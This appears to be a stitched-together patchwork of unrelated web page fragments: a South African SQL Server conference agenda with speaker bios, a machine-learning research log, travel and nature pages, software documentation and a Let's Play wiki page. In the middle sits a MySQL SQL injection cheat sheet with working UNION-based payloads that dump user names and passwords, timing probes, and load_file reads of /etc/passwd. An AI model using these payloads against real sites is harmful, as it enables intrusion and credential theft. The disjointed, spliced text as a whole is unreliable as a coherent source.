Event Location:
Microsoft head office
3012 William Nicol Drive
Bryanston, Gauteng, South Africa
Abstract:
With the vast amount of changes that occur in our daily business environments, it becomes more and more difficult to achieve our corporate goals without some ‘lighthouse’ to guide our way. Data mining, (while not a panacea to resolve or ‘control’ the effects of these changes), can provide us with statistical trends by analyzing our data and highlighting probable outcomes. In this hands on BEGINNERS presentation we shall be looking at Microsoft SQL Server’s Data Mining capabilities and we shall be discussing: 1) Defining what questions we want answered and how to go about this in an effective and efficient manner. 2) Creating the data model. 3) How to gather the necessary data, discussing the training and testing aspect. 4) Processing the model. 5) Extracting information from our finished model, discussing the implications of this information.
Speaker(s): Steve Simon,
Abstract:
Have you ever been in the situation that an application performed well the last day and - suddenly - you run into problems? Although you have Index Maintenance jobs and statistics up to date you will monitor a big degrade of performance! This session will demonstrate in a over 80 percent demo based presentation the following scenarios which happend this way in real life! - Why performance degradation in spite of maintenance jobs? - just one more database in the result set and the query runs really bad - why? - usage of literals is completely different from the usage of variables - why? - identical data types but the query runs in part perfect and in part bad... - your execution plan shows an INDEX SEEK - but the table will be scanned! - you get a query from the business which performs really bad but when you test it it runs pretty cool - why?
Speaker(s): Uwe Ricken,
Abstract:
ne of the main challenges organizations face in the BI world is to allow, via a single platform, contradicting needs of self-service BI with governance and Enterprise scale. Come and see the game changing approach of Pyramid Analytics that allows organizations to obtain these impossible needs of business users and IT in a singular BI platform. Pyramid Analytics the platform that Microsoft selected as a strategic partner for PowerBI. Pyramid Analytics revolutionary platform provides a single platform that delivers: • Self Service – No code necessary. • Web based central administration and security. • Role based functionality for different roles in the organization (Professional, Analyst and Consumer). • Universal configuration – build once use anywhere (PC, Tablet and Mobile). • Enterprise scale – parallel processing, clustering and load balancing. • And more ….
Speaker(s): Michael Raam,
Abstract:
SQL 2016 introduces the Query Store, a mechanism that has been built into the SQL 2016 database engine in order to facilitate rapid identification and resolution of performance and scalability bottlenecks in SQL application scenarios. In the session we will examine Query Store architecture and features and gain an understanding of how the tools should be used.
Speaker(s): Peter Willmot,
Abstract:
In this panel led session we will look at what it takes to become a successful Database Administrator. We will spend 20 minutes looking at what the typical day for a DBA looks like as well as training that you may need to become a DBA. This will be followed by a 20 minute QA session where you will be given the opportunity to ask questions from senior DBA's
Speaker(s): Jody Roberts,
Abstract:
At the heart of Power BI is the Power Query Formula Language (informally known as M), a dynamically typed, case-sensitive functional language for creating mashup queries, similar to the F# language. Although Power BI Desktop has a number of great UI features for transformations, under the hood it's all M, and the better you understand the language, the more you can take advantage of the capabilities inherent in Power BI. In this session I will introduce you to the basics of the M language and demonstrate some of the more advanced features.
Speaker(s): Matt Horn,
Abstract:
When you code do you only thing about your code? What about how you release it fast, with high Quality and in a regulated environment? We'll take a look at how SQL code traditionally (or at least most commonly) gets into production. We'll then switch our focus to using unit tests as a way to help improve quality in the fast paced world we live in and a release pipeline to simplify it all
Speaker(s): Gordon Beeming,
Abstract:
These days when you say "database server" it could really mean many things. For something like SQL server there are so many options: on-premise server, off-premise server. On-premise server with off-premise data. Then there are the various Azure offerings with fancy names like Azure SQL, Data Lake, Hadoop. You also get graph databases and document databases. This session will cover some of the more popular types of data stores that are available today and we will look at their use cases. While SQL server is great for many things, one has to be aware of the other options that are available out there.
Speaker(s): Clinton van Blommestein,
Abstract:
The world is, by and large, a much more equitable place to be than ever in human history. But that doesn't mean we've solved all our problems. The question of how to attract women to the tech sector' is one of the unsolved ones. In this interactive discussion, we'll try and work out what the problems are, and maybe find a few solutions.
Speaker(s): Samantha Perry,
Abstract:
Modern self-service personal productivity analytic tools allow individual users to create sophisticated calculations and sets. However, for an organization to maximize the value of analytics this business logic must be released from myriad of spreadsheets and documents that it is embedded. Join us to discuss how analytic platforms allow data-driven organizations to centralize, share and contextualize this content.
Speaker(s): Sandesh Nagaraj,
Abstract:
This session will cover an overview of the integration between SQL Server and Visual Studio with SQL Server R Services. We'll demo these capacities and wrap up with guidelines/advice for your own advanced analytics journey.
Speaker(s): Luis de Sousa,
Abstract:
In this session we will explore how SQL Server 2016 StretchDB changes the way we look at our archiving strategies.
Speaker(s): Jody Roberts,
Abstract:
In this panel led discussion we will look at what is required to become a successful SQL Developer. This session will begin with a 30 minute overview of is required of a SQL Developer, what training options are available as well as what career prospects are as you career progresses. This will be followed by a 20 min QA session where you will be able to ask the panel questions.
Speaker(s): Gail Shaw,
Abstract:
With this presentation you will be provided with insight into not only the history of Tabular but also the differences between Tabular and Multidimensional. We will cover the painless process of building, deploying and processing a Tabular model and finally take a brief look at some of the BI Tools on the market that are using it.
Speaker(s): Kirsten Burnett,
Abstract:
JSON is finally supported SQL Server! In this session we take a look at different built-in SQL Server 2016 T-SQL functions that can be used to process JSON data into data warehouse solutions. We also look at different ways to convert a relational data mart into a JSON format.
 After working for many years as developer and consultant, the SQL Server MVP Fabiano Amorim has being working with many day-by-day DBA tasks. In this session he will speak a little about the DBA job and show some very good tips about how to do it with efficiency.
Speaker(s): Fabiano Amorim,
Abstract:
In this panel led discussion we will look at what it takes to become successful Business Intelligence Developer The session will begin with a 30 minute overview of what is required of a business developer, what training options are available for you to and what career opportunities exist as you career progresses. The final 20 minutes will be a QA session for you to ask the Panel any career related questions you may have.
Speaker(s): Steve Simon,
Abstract:
What happens when you query for data in SQL Server under the covers. lets see the "page" by "page" action.
Speaker(s): Jacques Mostert,
Abstract:
If there’s one thing that we, as SQL developers, do, it's not use enough transactions. Transactions are critical when multiple changes need to be made entirely or not at all, but even given that it’s rare to see transactions used at all in most production code In this session, we'll look at what transactions are and why we should use them. We'll explore the effects transactions have on locking and the transaction log.
Speaker(s): Gail Shaw,
Abstract:
Are you underpaid? Would you like to know what a market related salary is for your skill set? What are the most in demand IT Developer profiles in the market today? Is your CV going to stand out from the guy sitting next to you?
Speaker(s): Vanessa Raath,
Abstract:
We will be going through how to setup the new Microsoft Sample database and have a look at the new features and workloads that can be run against the new same database.
Speaker(s): Jean-Pierre Voogt,
Abstract:
Far too few database developers in this day and age get the opportunity to learn how to design relation databases. In most cases, they will on occasion be asked to add a few objects to an existing system while following the standards of the organisation. These relatively infrequent changes do not hone the skills needed for effective design. This session will go through the fundamentals of database design. Topics such as normalization, Understanding Data Relationships as well as the Language of Data Modeling and Design will be discussed. The Database Design Sequence Phases of Conceptual, Logical and Physical will be introduced as well.
Speaker(s): Sean Cremer,
Abstract:
In this session we break down the configuration, installation, remote management and troubleshooting SQL Server running on Windows Server Core. We take a look at configuring and deploying an AlwaysOn availability group across Windows Server Core machines using PowerShell.
Speaker(s): Anthony Fourie,
Abstract:
Table partitioning can be daunting and may not work as expected. You may have tried to implement partitioning only to find you created greater performance issues. In this session you will be taken through the theory of table partitioning with practical examples you can use. We will learn what partitioning is, what it is not, how to implement it, how to maintain it, how to use it for maintenance and how you can improve query performance under certain conditions. After this session you will have the confidence to apply partitioning in your environment.
Speaker(s): Sean Pearce,
Abstract:
Business Intelligence. It's a rather all-encompassing term, isn't it. In this beginner level session, learn the basics of Business Intelligence, the stages of BI maturity and get introduced to the Microsoft BI Stack, starting from the humble roots of Reporting Services, through to the incredible power of Interactive Dashboards in Power BI. Whether you're looking for a different career option, or you're just interested in broadening your knowledge base, come and experience the wonders of being (in) BI! Note: This session comes packaged with a series of double entendres and other innuendos.
Speaker(s): James McGillivray,
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Samantha Perry is the co-founder of and human behind WomeninTechZA (womenintech.co.za) - an initiative that aims to bridge the gender diversity gap in the South African tech sector. Having worked in the tech sector as a journalist for 18 years, Samantha recently moved back into the strategic communications space. She has a Masters degree in ICT Policy amp; Regulation, likes long walks on the beach, and hopes to one day have the kind of job that gives her time to take them.
Contact: http://sqlinthewild.co.za
Gail Shaw is a Database Specialist focusing on database performance tuning and database recovery, with a particular interest in topics such as indexing strategies, execution plans, and writing T-SQL code that performs well and scales gracefully. Gail holds a Microsoft Certified Master certification for SQL Server 2008 and is a Data Platform MVP. She's a frequent poster on the SQLServerCentral forums, a Pluralsight author, writes articles for both SQLServerCentral.com and Simple-Talk.com, and has spoken at SQLSaturdays, SQL Bits and at the PASS Community Summit. Gail has been responsible for extending the lifespan of many an application, by performance-tuning their databases and providing technical guidance on all things SQL Server related.
LinkedIn: http://za.linkedin.com/pub/jody-roberts/7/b29/193/Edit
Contact: http://JodyWP.wordpress.com
Jody Roberts is a Microsoft Data Platform MVP based in Cape Town, South Africa. He specializes in SQL Server architecture, disaster recovery (DR), and server optimization. Jody serves as a PASS Regional Mentor responsible for the Middle East amp; Africa, Chapter Lead of the SQLCape user group, and Co-Lead of the PASS Cloud Virtual Chapter. Jody is a Principal Consultant at Northern Data.
LinkedIn: http://www.linkedin.com/in/stephenrsimon/
Contact: http://www.sqlservercentral.com/blogs/simon_says/
Steve Simon is a Database Solutions Architect with Business Knowledge Services Inc. He has been involved with database design and analysis for over 35 years. Steve has presented papers at numerous PASS Summits and PASS SQL Rallies. He is also regular presenter on the SQL Saturday circuit and he is a contributor on SQLShack.com
Jean-Pierre is an SQL Developer and Data Analysis Team Lead from South Africa. He is MCSA (Microsoft Certified Solutions Associate) and owner of a bachelor’ degree in Software Engineering with good experience with Database design, Data warehousing and development. He has a great passion for SQL server and he enjoys solving complex business problems. Jean-Pierre speaks at the Johannesburg SQL User Group, trying to give back to the SQL community as much as possible. He loves to tinker with SQL Server and see how he can approach a problem with a different angle.
Contact: http://sqlinthewild.co.za
Gail Shaw is a Database Specialist focusing on database performance tuning and database recovery, with a particular interest in topics such as indexing strategies, execution plans, and writing T-SQL code that performs well and scales gracefully. Gail holds a Microsoft Certified Master certification for SQL Server 2008 and is a Data Platform MVP. She's a frequent poster on the SQLServerCentral forums, a Pluralsight author, writes articles for both SQLServerCentral.com and Simple-Talk.com, and has spoken at SQLSaturdays, SQL Bits and at the PASS Community Summit. Gail has been responsible for extending the lifespan of many an application, by performance-tuning their databases and providing technical guidance on all things SQL Server related.
Peter has been writing software (and teaching folk how to write software) for over 30 years. He has worked with SQL Server as an architect and developer for more than 20 years (since SQL 4.2) and has also worked extensively with the .Net and various other development platforms. Peter is a past MSDN Regional Director and was also an MVP (SQL Server and Architecture) for many years. He is a passionate and regular speaker and various industry events around the world.
LinkedIn: http://www.linkedin.com/in/stephenrsimon/
Contact: http://www.sqlservercentral.com/blogs/simon_says/
Steve Simon is a Database Solutions Architect with Business Knowledge Services Inc. He has been involved with database design and analysis for over 35 years. Steve has presented papers at numerous PASS Summits and PASS SQL Rallies. He is also regular presenter on the SQL Saturday circuit and he is a contributor on SQLShack.com
LinkedIn: https://za.linkedin.com/in/thejimmyrsa
Contact: https://jimbabwe.co.za/blog-posts/
James McGillivray, Data Management and Analytics MCSE, has been working in Business Intelligence for over a decade. He spends his working hours building solutions that allow people to make informed decisions quickly and accurately. James is a director at Cobalt Analytics. Before his career in data, James was an avid musical theatre student and musician. This love for performance has developed into a passion for developing and delivering presentations that are informative and enjoyable. James speaks frequently at the Johannesburg SQL User Group, and has delivered sessions at numerous SQL Saturdays, PASS Summit, Power BI World Tour and SQL Bits.
LinkedIn: http://za.linkedin.com/pub/jody-roberts/7/b29/193/Edit
Contact: http://JodyWP.wordpress.com
Jody Roberts is a Microsoft Data Platform MVP based in Cape Town, South Africa. He specializes in SQL Server architecture, disaster recovery (DR), and server optimization. Jody serves as a PASS Regional Mentor responsible for the Middle East amp; Africa, Chapter Lead of the SQLCape user group, and Co-Lead of the PASS Cloud Virtual Chapter. Jody is a Principal Consultant at Northern Data.
LinkedIn: http://za.linkedin.com/in/luisdza
Contact: http://www.luisdesousa.co.za
Consult to large financial institutions in South Africa providing Business Intelligence and Analysis insight.
LinkedIn: https://za.linkedin.com/in/clintonvb
Clinton is a senior developer at Derivco in Durban (South Africa), a company that is a leader in the online gaming space. He has over 16 years experience in highly transactions systems, with focus on the services and data tiers. He is a regular speaker at SQL events in South Africa, is also the co-leader for the Durban SQL User Group and has recognised as a Couchbase Champion for his contribution to their community.
LinkedIn: http://www.linkedin.com/profile/view?id=14818091
Matt Horn is a Business Intelligence Developer and director with Immersant Data Solutions. He has been a regular speaker at SQLSaturday events for many years He is the Co Lead of the IntelliCape Business Intelligence user group based in Cape Town. .
I am a Senior Business Intelligence Developer with well over 10 years’ experience working on various SQL technologies, mostly in the financial sector, in South Africa and the UK. I graduated from UNISA with a BSc in Computer Science and Information Systems and I am starting on my second BSc in Applied Maths and Statistics. I work primarily with the Microsoft technology stack with a focus on practical Data Warehousing and SSAS solutions and have a keen interest in analytics and finding new modelling methodologies to cope with the ever changing data landscape.
LinkedIn: https://www.linkedin.com/in/b1n4ryd1g1t
Contact: http://beeming.net/
Gordon Beeming is a Software Developer at Derivco in the sunny city of Durban, South Africa. He spends most his time hacking away at the keyboard in Visual Studio or with his family relaxing. He is a Visual Studio ALM Ranger, Visual Studio ALM MVP and Friend of Red Gate. His blog is at beeming.net and you can follow him on Twitter at twitter.com/gordonbeeming.
LinkedIn: https://za.linkedin.com/pub/sean-pearce/2/9b5/914
Contact: http://thesqlguy.blogspot.com/
Sean Pearce is a SQL Server consultant with a background in application development. Initially he was exposed to SQL Server 6.5 as a developer but by the time SQL Server 2000 had been released he had stepped into a SQL Server focused role. His understanding of the architecture of SQL Server allows him to excel at performance tuning and problem solving. Sean is actively involved in the SQL Server community, has spoken at PASS SQL Saturday and presents regularly to the Jhb SQL Server User Group.
An avid lover of SQL Server and an Architect for Microsoft South Africa, I have been working with SQL Server for the last 16 years focusing on database development and administration, focusing on architecting high performance large scale virtualized database environments. Currently my delivery and focus has been on Microsoft's leading data platform technologies working with customers to deliver Big Data HTAP solutions.
LinkedIn: https://www.linkedin.com/in/vanessaraath
Contact: https://www.vanessaraath.com
I am determined to bring the ‘Human Element’ back into today’s Recruitment Process as I believe it has been lacking for too long now! I believe that people are the core building blocks of every business but that doesn’t mean that we can treat every ‘block’ the same. I have over 13 years’ experience in the Recruitment Industry and I have specialised in the IT Applications space for most of this time. I have recently decided to flex my entrepreneurial muscle and I have launched my own Sourcing Training Business. I am passionate about raising the standard of Sourcing in Africa.
LinkedIn: http://www.linkedin.com/profile/preview?locale=en_UStrk=prof-0-sb-preview-primary-button
Contact: https://seancremer.github.io/
Sean Cremer is a Senior Developer at Derivco. He has worked with SQL Server for nearly two decades on Large OLTP and Data Warehousing Systems and has a wealth of accumulated Database Design and Implementation knowledge.
LinkedIn: https://www.linkedin.com/in/sifiso-w-ndlovu-89239a14
Contact: http://blogs.selectsifiso.com/
I am a certified Microsoft professional with a Master’s degree in IT Management from the University of Johannesburg. I specializes on a range of enterprise and consumer technologies using open source and proprietary software. I am a member of the Johannesburg SQL User Group wherein I have made several presentations on User Group Meetings and SQL Saturday sessions. I have written for a number of publications including SQLShack.com and SQLServerCentral.com.
LinkedIn: http://za.linkedin.com/in/sandeshnagaraj
A Certified Data Architect with around 15 years of experience in Data warehouse, Business Intelligence and Database implementation. Sandesh holds MCITP SQL Server in BI, Data Architect certified from Microstrategy etc. He has worked extensively as BI Consultant/Technical Specialist/BI Architect/Sales Engineer/Manager. Sandesh actively participates and speaks at Johannesburg SQL Server User and SQL Saturday events.
LinkedIn: https://www.linkedin.com/in/fabianoamorim/
Contact: http:\\blogfabiano.com
Fabiano Amorim is a Data Platform MVP that loves to conquer complex, challenging problems—especially ones that others aren’t able to solve. He first became interested in technology when his older brother would bring him to his work meetings at the age of 14. With over a decade of experience, Fabiano is well known in the database community for his performance tuning abilities. When he isn’t working, he loves to read and spend time with his family.
LinkedIn: https://za.linkedin.com/in/anthony-fourie-91bb3b44?
I am a Microsoft SQL Server PFE based in South Africa. I love development, troubleshooting and learning new things. I really enjoy the SQL Server community and the Microsoft community at large. I love pushing myself and my skillset in all things technical and non-technical. I love sports, racing, adrenalin experiences and good times with good people.
Contact: http://sqlinbuddy.wordpress.com/
A family man, Christian, starcraft addict with some SQL on the side. Working on SQL for a long time, started on V6.5. I have seen way to many versions of SQL/BI tools for any sane person. ‘There is evil here that does not sleep” and as far as I can will help where I can. As the “about” title says I wear sandals (Afrikaans: Plakkies) do not like shoes to my wifes/boss dismay. I enjoy going off-road with my “toyota” and when I am not “sql”ing I will be constructing something from wood.
LinkedIn: http://www.linkedin.com/profile/view?id=270775013amp;trk=tab_pro
Contact: http://www.sqlmaster.de
Uwe Ricken is working with IT systems since the 90’s. The primary passion for developments with Microsoft SQL Server expanded in 2007 with his engagement as a DBA for Deutsche Bank AG in Frankfurt am Main. After 6 years of operational experiences as a DBA and over 14 years as a developer of complex database models he achieved the “Microsoft Certified Master – SQL Server 2008” certification which “was” the highest technical certification. In the same year he earned his first award as a Data Platform MVP for his support to the Microsoft SQL Server community in Germany and Europe. Uwe Ricken is a speaker on many international conferences and events and preferred topics are “Database Internals”, “Indexing” and “Development”.
Data amp; Analytics Principal at Pyramid Analytics
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Data investigation
I did a comparison for the laplacian inference using trained laplacian regression function, using linear regression, nearest neighbour and network. You can find some comparison results in the following webpage (including numerical and shape comparison, ). http://www.cs.ubc.ca/~ichaos/research/nbview/exp4-val-linear-sound.html http://www.cs.ubc.ca/~ichaos/research/nbview/exp4-val-linear-guitar.html http://www.cs.ubc.ca/~ichaos/research/nbview/exp4-val-linear-mickey.html http://www.cs.ubc.ca/~ichaos/research/nbview/exp4-val-linear-flag.html
There are some confusion about the shape shown in the webpage, they are results of nearest neighbours, if needed I can also show all the results using different methods.
Thoughts
But the conclusion for the comparison is : there are no huge differences between all these methods. The good thing is I think our problem formulation, in the beginning, already help us to reach a good point (the zero predict in the previous results show that even without inferred laplacian value, we can already get a fairly good overall shape.) What we want to achieve is to infer good local structures (geometry feature) that captured in the data.
So I decided to do some investigation of our input data, especially the training data, with some visualization.
Data distribution - output laplacian value
First thing that I tried to visualize is the distribution of the ground truth laplacian values in the training set. I mentioned this before, but never try to visualize them, so here we go. Figure on the left hand side (green bars) is the distribution of x-component, and right hand side is the distribution of y-component. According to the figures, I found out that most of our output values are very close to 0. And there are very few laplacians are with bigger scale, but I think those bigger laplacians are the thing that we care about (because they represent the local feature.).
Prediction value distribution - Test case (sound)
Next thing I did is I plot the distribution of both x- and y-components of output laplacian values in 2D (see the following fig). (x-axis is for x-components, and y-axis is for y-components). The blue dots are the ground truth points, the green dots are the predicted results using linear regression, and the red dots are predicted results using network. As you can see, most of the predictions from both methods gather up close to the center (which is (0, 0) ), and fail to capture the bigger laplacians on the outside.
Supplemental figure : Training value distribution
This new figure illustrate the training set fitting.
Feature attributes and Predict value
I haven’t have a very concrete idea of how to show this, but I also plotted something out, so I think it still ok to show it. In the following two figs, I plotted some dimensions of the input features with a output dimension (e.g. dim 0 in the feature pair with dim 0 in result laplacian.)
This figure shows the relationship between different dimension in features and x-component in result laplacian.
This figure shows the relationship between different dimension in features and y-component in result laplacian.
So far, these figures just reveal the same thing with the previous figure, that all the predict values gather at centre area.


You will be given a random number at the start of the game.
There are four crystals below. By clicking on a crystal you will add a specific amount of points to your total score.
You win the game by matching your total score to the random number, or lose by going over the random number.
The value of each crystal is hidden until you click on it.
Each time when the game starts, the game will change the values of each crystal.


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My Name is Alex
And this page has a little bit more detail about how I've designed and implemented my websites in the past
This website is built from Pure CSS with a little bit of Javascript (mainly for the media slider and embedded video). I chose Pure over Bootstrap because I wanted something simple, clean and responsive. Pure CSS focused on exactly that. CSS. I wanted to add my own peices of javascript if required, rather than have some of it already implemented.
I built the website from scratch, with inspiration from the layouts page that Pure CSS has. This is a massive improvement over the last site I made, which was cobbled together from a w3 Schools layout. I couldn't follow half the code in it, the CSS and formatting was over engineered and worst of all, it felt dated four months after I completed it.
In the future, I plan to redo my website periodically, because I like tinkering with it and it's a good excuse to learn the latest and greatest web tools as they come out. I'll probably keep storing the old ones as well, so I can build up a history of what my websites have looked like at different times in my career.


Bees in decline
Without insect pollination, about one third of the crops
we eat would have to be pollinated by other means, or
they would produce significantly less food. Up to 75%
of our crops would suffer some decrease in productivity.
Undoubtedly, the most nutritious and interesting crops
in our diet (including many key fruits and vegetables),
together with some crops used as fodder in meat and
dairy production, would be badly affected by a decline in
insect pollinators; in particular, the production of apples,
strawberries, tomatoes, and almonds would suffer.
The most recent estimate of the global economic benefit
of pollination amounts to some €265bn, assessed as
the value of crops dependent on natural pollination. This
is not a “real” value, of course, as it hides the fact that,
should natural pollination be severely compromised or
end, it might prove impossible to replace – effectively
making its true value infinitely high.
And how much value can we place on the abundance of
colour that greets us on a bright spring day, for example?
Beside crop plants, most wild plants (around 90% of
them) need animal-mediated pollination to reproduce,
and thus other ecosystem services and the wild habitats
providing them also depend – directly or indirectly – on
insect pollinators.
Bees – including the managed honeybees, together
with many wild species – are the predominant and most
economically important group of pollinators in most
geographical regions. Managed honeybees, however, have
been suffering increasingly in recent years, even as the
world moves progressively towards growing more crops
that are dependent on bee pollination. Similarly, the role of
wild pollinators – bee species, as well as other insects – is
gaining relevance worldwide, and attracting increased
research attention. Moreover, wild bees are also threatened
by many environmental factors, including lack of natural
and semi-natural habitats, and increased exposure to
man-made chemicals.
Put in simple terms, bees and other pollinators – both
natural and managed – seem to be declining globally, but
particularly in North America and Europe. Lack of robust
regional or international programmes designed to monitor
the current status and trends of pollinators means there
is considerable uncertainty in the scale and extent of this
decline. Nonetheless, the known losses alone are striking.
In recent winters, honeybee colony mortality in Europe has
averaged around 20% (with a wide range of 1.8% to 53%
between countries).
Source.
The paragraph above from the report by GreenPeace explains the current situation around bees and the impact they have on the world. Considering these implications, it is important to keep track of the situation on national level. With these visualisations I have tried to do this. Unfortunately there is no specific information available for the Netherlands to draw a clearer picture of the situation.
More and more countries start to see the effects of the decline and are aware that change is needed. The EU have decided to start this change by banning bee-harming pesticides (
The Guardian) in April of 2018. Now it will be interesting to see in what way these new regulations will impact the bee population in Europe and the agriculture.
Let the EU be an example for the rest of the world to also improve the conditions in their countries for the bees.


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Emphasis is was being put on providing tool documentation that
is suitable for template designers. To achive this goal, a documentation
format has been defined that captures all information relevant to the
template designer. It is being supplied in addition to the customary
Javadoc. This should help to achieve what we always claim for Velocity:
"Decouple the work of template designers from the work of software
developers". Look at the Struts
MessageTool
for a good example of the new documentation format.
Update:
While we value the look and readability of this format, we are presently
drifting away from the use of it. The primary reason for this is that the
developers have found it difficult to maintain (i.e. no one
has been motivated enough to put in the extra work). If you feel this
documentation format is valuable and wish to help us create and maintain
it for the various individual tools, please see
below
for more details on getting involved. Meanwhile, we'll be putting effort
into improving javadoc for individual tools and overview documents for
the sub-projects.
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MYSQL version
Injecting the following string causes the WHERE clause of a SELECT statement to be false if the MySQL version in use is greater than or equal to 3.23.02.
/*!32302 and 1=0*/
Using UNION
AAA' UNION SELECT @@version,NULL,NULL--
Test for column count (assuming id is number parameter)
http://<IP_ADDRESS>/comment.php?id=123order by 1
http://<IP_ADDRESS>/comment.php?id=123order by 2
http://<IP_ADDRESS>/comment.php?id=123order by 3
.
.
http://<IP_ADDRESS>/comment.php?id=123order by 5
http://<IP_ADDRESS>/comment.php?id=123order by 6 >>> error >>> the table has 5 columns
Discover output layout (assuming id is number parameter)
UNION removes duplicates
UNION ALL doesn't remove duplicates
use the discovered columns count
search for display of 1,2,...,6 on the page
http://<IP_ADDRESS>/comment.php?id=738 union all select 1,2,3,4,5,6
Extracting data (assuming id is number parameter)
Output concatenation
SELECT CONCAT(table_name,':',column_name) from information_schema.columns
db version
http://<IP_ADDRESS>/comment.php?id=738 union all select 1,2,3,4,@@version,6
current user being used for db connection
http://<IP_ADDRESS>/comment.php?id=738 union all select 1,2,3,4,user(),6
select if(user() like 'root@%', sleep(5000), 'false')
MYSQL<=5.0.12
select if(user() like 'root@%', benchmark(50000,sha1('test')), 'false')
db tables
http://<IP_ADDRESS>/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables
display column names of table users
http://<IP_ADDRESS>/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='users'
extracting data from users table
http://<IP_ADDRESS>/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM users
display table names and column names
AAA'%20union%20select%20table_name,column_name,null,null,null%20from%20information_schema.columns--
Find table with column name containing PASS
SELECT table_name,column_name FROM information_schema.columns where column_name LIKE '%PASS%'
Reading files (assuming id is number parameter, single quotes CAN be bypassed)
http://<IP_ADDRESS>/comment.php?id=738 union select 1,2,3,4,load_file('c:/windows/system32/drivers/etc/hosts'),6
SELECTload_file('/etc/passwd')
INFORMATION_SCHEMA table structure
SCHEMATA All databases the user has (at least) SELECT_priv
SCHEMA_PRIVILEGES The privileges the user has for each DB
TABLES All tables the user has (at least) SELECT_priv
TABLE_PRIVILEGES The privileges the user has for each table
COLUMNS All columns the user has (at least) SELECT_priv
COLUMN_PRIVILEGES The privileges the user has for each column
VIEWS All columns the user has (at least) SELECT_priv
ROUTINES Procedures and functions (needs EXECUTE_priv)
TRIGGERS Triggers (needs INSERT_priv)
USER_PRIVILEGES Privileges connected User has


Svalbard is an archipelago of islands in the European Arctic
Svalbard and Spitsbergen are used interchangeably, though officially Svalbard refers to the archipelago and Spitsbergen the largest island
Where is it?
1,000km north of the Norwegian North cape
1/500km south of the North pole
Comprises nine main islands and countless smaller islets
Geology
For most of Earth's history, Svalbard has been submerged, and probably formed close to the south pole
The lack of soil or vegetation makes it a mecca for Geologists, as when not covered by ice, the entire geological range is visible.
Cambrian
Wikipedia
Silurian → Devonian
Google
Jurassic → Cretaceous
Google
Tertiary
Google
Present: West Coast
Jo
Present: East Coast
Jo
Climate
Svalbard is high-arctic with a polar desert climate. This means relatively little precipitation of any kind.
The West coast is warmed by the gulf stream and has a slightly damper, warmer climate than the east, which has a dry steppe-like climate.
Mean temperatures range from -16°C in Winter to +6°C in Summer, but with highs of +21 and lows of -45 not uncommon.
Vegetation
Climate Change
Wildlife
Barry
Jo
Birds
Barry
Insects
Compared to mammals and birds, the insect species of Svalbard are diverse, with over 1000 recorded species. They tend to be concentrated where there is some vegetation and soil, and are found primarily on the warmer west coast. Notable omissions are bee species- flowers rely on flies or self-pollination
Vegetation
Higher plant species are concentrated mainly in the west and the central basin. Despite the steppe-like climate, what groundwater there is can be found in the top soil layers, above the permafrost, so in the summer months quite a few plants grow.
The lack of pollinating insects mean most plants reproduce using suckers. There's virtually no pollen on Svalbard!
Summer
Trees
Grasses
Jo
Flowering Plants
Barry
History
Svalbard has no indigenous population and no evidence of human occupation has been discovered prior to the 16th century.
Having said that, the milder prehistoric climate suggests a pre Stone-Age population is not out of the question and may still be waiting for be discovered. Similarly documentary evidence from the 12th century suggests the Vikings knew of the islands but no definitive evidence has yet been found.
Whaling
Mining
Barry
Svalbard Today
The Svalbard Treaty, signed in 1925 with now over 50 countries as signatories, formalises the legal status of the archipelago as Norwegian territory.
Permanent military installations are strictly forbidden. The only taxes that can be claimed are those that go towards the administration of the archipelago, and all citizens of all treaty nations must be treated equally
Jo
Barry
Barry
Barry
Final thoughts
Svalbard is really, really cold in the Winter!
The polar bear risk limits what independent travelling you can do.
Having said that, as a place to visit the high arctic, it's pretty easy to get to, and definitely worth a short trip.


SpotSpot
Spotify mini-player for macOS
SpotSpot is FREE. However, please consider a small donation. Doing so will help me cover the cost of future development. Thank you 😘
SpotSpot is not affiliated with Apple, Spotify or Badflower and these are the trademarks of the respective parties.


enum class EpollFlag
Use this enumeration in Epoll.flags and Epoll.setFlags.
See Also: srt_epoll_set
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Clear all flags (set all defaults) |
|
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Allows the Epoll.wait and the Epoll.uWait functions to be called with the EID not subscribed to any socket. |
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Forces the Epoll.wait and the Epoll.uWait functions to check if the output array is not empty. |


About Who Let's Play
Those who care about Let's Plays coming together to protect and promote them.
Who Let's Play is a community of Game Developers and Let's Players coming together to create a single source of information regarding the legalities of creating Let's Plays. We are a community supported website, so please help improve and add to our information.
Currently we have an ever growing list of companies and their policies regarding Let’s Play content, however we have some big plans for the future.
The #WhoLetsPlay list
Our main project is the "Let's Play"-friendly developers list. This tracks the stances developers have on Let's Play videos and monetization.
The wiki is NOT an authority in and of itself, it just acts as a handy directory that:
- Makes it easy to find permission statements
- Encourages developers to make their permission status publicly known
- Encourages developers to upgrade their permission from tweets to written official statements on their sites
The list serves as a shield against fraudulent Content-ID matches, because you can easily find out if a developer has actually given official permission.
However, there's more to it.
Dealing with Music
Right now, there's an issue with music. Many developers, small and large, license music non-exclusively. This means the musician owns the music, but gives the developers some rights (namely to use it in their game). This means that technically it's not legally clear-cut (again, I'm not a lawyer) that the developer has the right to grant permission for fans to make monetized videos that include the music.
Why this is bad: This encourages developers to secure exclusive rights to protect themselves. This is bad for everyone, because exclusive rights are more expensive for developers and less flexible for musicians. Youtube is currently recommending that LP'ers make videos without music. As Colin Campbell notes above, the problem is 3rd party music resellers. I'm currently talking to some legal folks about setting up some creative-commons esque licenses for music that developers can use with their musicians to make the "let my fans post this on youtube" rights more clear.
We might also start a second wiki for known "bad actors" in the music reseller space, to warn developers and musicians against using them for selling soundtracks, etc. I don't want it to turn into a vengeful witch hunt, though, so we might tread carefully there.
We Need Some Stinkin' Badges!
We need to make it clear and easy for YouTuber's to know where developers and their musicians stand. Right now it's a giant soup of ambiguous, unclear, and invisible rights. I'm imagining creating a badge system like creative commons has, where a developer can proudly display that their content is "Free to Let's Play", and also display a badge that certifies - YES, we have signed the proper licensing terms with our musician, so you can feel safe that the musician allows you to stream the video with music.


About Myself
I like to travel to different places.
You can also find his personal GitHub below too.
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Visitors here in September 2015, SV Totem have sent the following comments re. security in Comoros:
The dry season, from May to October, is the best time to visit when the average temperature is 75°F (24°C). November to April is the rainy season, when temperatures range from 81° to 95°F (27-35°C), although the coast is cooled by sea breezes. The NW monsoon season from December to March can have high winds and cyclones.
For links to free global weather information, forecast services and extreme weather information see the Noonsite Weather Page


Next: Processing of Defining Macros, Previous: File Compilation, Up: File Compilation
Processing of top level forms in the file compiler is defined as follows:
